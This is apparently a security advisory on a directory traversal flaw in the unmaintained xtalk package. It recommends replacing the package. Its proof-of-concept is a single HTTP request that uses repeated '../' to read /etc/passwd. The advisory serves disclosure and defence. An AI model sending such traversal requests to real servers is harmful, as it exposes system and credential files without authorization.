Directory Traversal

Overview

Affected versions of xtalk are vulnerable to directory traversal, allowing access to the filesystem by placing “…/” in the URL.

Proof of Concept

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:localhost

Recommendation

No patch is currently available for this vulnerability, and the package has not been updated since 2014.

The best mitigation is currently to avoid using this package, and using a different, functionally equivalent package.

References

GitHub Advisory